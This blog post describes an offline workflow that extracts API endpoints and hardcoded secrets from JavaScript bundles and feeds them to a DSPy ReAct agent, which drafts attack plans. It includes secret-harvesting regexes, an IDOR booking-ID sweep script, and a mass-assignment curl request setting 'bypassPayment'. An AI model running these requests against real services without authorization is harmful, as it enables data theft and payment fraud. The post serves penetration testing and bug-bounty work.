Automating JavaScript Recon AND Vulnerability Triage with DSPy Agents

By lou

In modern applications built with React, Angular, or Vue, the client-side JavaScript bundles (often generated by Webpack or Vite) are a goldmine for penetration testers / bug bounty hunters. They define the entire frontend-to-backend API.

However, manually auditing a 5MB or more obfuscated JS bundle is a painful, time-consuming process. While simple regex-based grep tools can extract raw endpoints, they often leave you with hundreds of false positives, static asset paths, and zero context on how these endpoints connect to form a logical attack chain.

To bridge this gap, I built a hybrid, offline-first workflow that combines deterministic regex extraction with an agentic LLM layer using DSPy.

By feeding structured, regex-parsed data into a DSPy ReAct Agent, we can automatically reconstruct the backend business logic and generate targeted exploit payloads (like IDOR and Broken Access Control sweeps) in seconds.

The code for the extraction layer and the DSPy is available on my GitHub.

asciicast

The Hybrid Architecture

Feeding a massive, raw JS file directly to an LLM is a terrible idea—it is expensive, slow, and easily exceeds the model’s context window. Instead, we use a hybrid approach:

  1. Deterministic Layer (The Tool): A custom Python script fetches the JS bundle, resolves source maps, and uses optimized regular expressions to extract clean API endpoints, base URLs, and hardcoded secrets.

  2. Cognitive Layer (The Brain): A DSPy Agent utilizes the ReAct (Reasoning + Acting) framework to dynamically analyze the JSON output, deduce the backend’s business logic.

Deep Dive 1: Offline Extraction (extract_js.py)

Our extraction layer performs best-effort endpoint and secret harvesting. It uses targeted regular expressions to isolate API paths while filtering out static noise (images, CSS, fonts). It also attempts to fetch and parse .map files (source maps) to reconstruct the original source files.

Here is a snippet of how we run regex passes against the JS body:

ENDPOINT_RX = [
    re.compile(r'''["'`](/[A-Za-z][A-Za-z0-9_\-./{}:]{1,158})["'`]'''),
    re.compile(r'''fetch\s*\(\s*["'`]([^"'`]+)["'`]'''),
    re.compile(r'''axios\.(?:get|post|put|delete|patch|request)\s*\(\s*["'`]([^"'`]+)["'`]'''),
]

SECRET_RX = [
    (re.compile(r'(?i)aws_secret(?:_access)?_key["\']?\s*[:=]\s*["\']([^"\']{20,})["\']'), "aws_secret"),
    (re.compile(r'(?i)(?:^|[^A-Za-z])api[_-]?key["\']?\s*[:=]\s*["\']([A-Za-z0-9_\-]{20,})["\']'), "api_key"),
]

When run against a target URL, it spits out a structured JSON:

{
  "source": "https://order.redacted.local/main.js",
  "base_urls": ["/api/v1"],
  "endpoints": [
    "/api/v1/auth/token",
    "/api/v1/booking/cancel",
    "/api/v1/booking/get",
    "/api/v1/booking/update",
    "/api/v1/customer/profile"
  ],
  "secrets": []
}

Deep Dive 2: The DSPy Brain (JSVulnerabilityAnalyst)

Instead of struggling with brittle system prompts in LangChain or raw OpenAI APIs, we use DSPy. DSPy allows us to treat prompts as programs. We define our desired input/output schema using a dspy.Signature.

For this project, we define the JSVulnerabilityAnalyst signature:

class JSVulnerabilityAnalyst(dspy.Signature):
    """Analyze client-side JavaScript endpoints to reconstruct backend logic and generate exploit scripts."""
    target_js = dspy.InputField(desc="The URL of JS file to analyze")
    analysis = dspy.OutputField(desc="Explain what this JS file does based on the endpoints, and evaluate if any secrets are exposed")
    attack_plan = dspy.OutputField(desc="Suggest exact HTTP requests (e.g. curl, commands, python scripts) to test the discovered endpoints for vulnerabilities like IDOR / BAC. Label risk levels.")

How the ReAct Flow Works: Notice that target_js is just an input URL, not the file content itself. To avoid blowing up the context window with megabytes of minified code, the DSPy ReAct agent uses this URL to trigger our custom Python extraction tool.

The tool processes the raw JS offline and returns the lightweight, parsed JSON output. The LLM then ingests only this structured JSON to deduce the business logic and formulate its attack plan. This keeps the process fast, cheap, and highly accurate.

Next, we initialize a dspy.ReAct agent, binding our local offline JS extractor as a tool the agent can call whenever it needs to inspect a JS file.

# To run entirely offline using Ollama (highly recommended for internal pentests):
# lm = dspy.LM(model="ollama_chat/llama3", api_base="http://localhost:11434")

# Or using standard cloud APIs:
lm = dspy.LM(model="openai/gpt-4o", api_key=os.getenv("OPENAI_API_KEY"))
dspy.configure(lm=lm)

The Demo (Sanitized Output)

Let’s look at the triage report generated by the agent when targeting a mock booking portal script https://order.redacted.local/main.js.

Agent Output:

1. Target Overview & Business Logic Deduction

The target JS file defines the client-side frontend bundle for an online reservation platform. Based on the extracted endpoints, the backend exposes:

  • Authentication/Session Management: /api/v1/auth/token (JWT generation/refresh) and /api/v1/customer/profile (PII retrieval).

  • Reservation Lifecycle: /api/v1/booking/get, /api/v1/booking/update, and /api/v1/booking/cancel.

  • Risk Evaluation: No static secrets were leaked. However, the presence of sequential query parameters (e.g., bookingId) suggests high susceptibility to IDOR and Broken Access Control (BAC) if authorization controls are client-side only.

2. Generated Attack Plan (AI-Driven Exploit Scripts)

Based on the reconstructed endpoints, the DSPy agent automatically generated the following targeted exploit plans for our testing team to execute:

  • Test Case 1: IDOR / BAC on Booking Retrieval
    Risk Level: HIGH
    Endpoint: /api/v1/booking/get?bookingId={id}

The agent detected that booking IDs might be sequential or predictable. It generated a Python script to sweep and validate if authorization checks are enforced on the backend:

import requests

# Test if we can retrieve other users' booking details
target_url = "https://order.redacted.local/api/v1/booking/get"
headers = {"Authorization": "Bearer MOCK_USER_TOKEN"}

for booking_id in range(1000, 1015):
    params = {"bookingId": booking_id}
    r = requests.get(target_url, params=params, headers=headers)
    if r.status_code == 200 and "customer_name" in r.text:
        print(f"[!] Vulnerable to IDOR! Successfully leaked booking ID: {booking_id}")
  • Test Case 2: Privilege Escalation via Parameter Pollution
    Risk Level: MEDIUM
    Endpoint: /api/v1/booking/update

The agent hypothesized that the update endpoint might accept administrative parameters (e.g., “isAdmin”: true, “bypassPayment”: true) through mass assignment.

Proposed Curl Test:

curl -X POST https://vulnerable-booking.local/api/v1/booking/update \
  -H "Authorization: Bearer MOCK_USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"bookingId": 1001, "status": "confirmed", "bypassPayment": true}'

Future Work

For future iterations of this project, I plan to:

  1. Integrate the tool into our local CI/CD security pipelines to automatically flag newly exposed, untested API routes before they hit production.

  2. Develop a Burp Suite extension wrapper, allowing us to pipe live traffic JS bundles directly into our DSPy agent with a single right-click.

  3. Fine-tune local open-source models specifically on OWASP API security patterns to optimize our agent’s triage performance without sending data to public LLM APIs.

Tags: Agentic
Share: X (Twitter)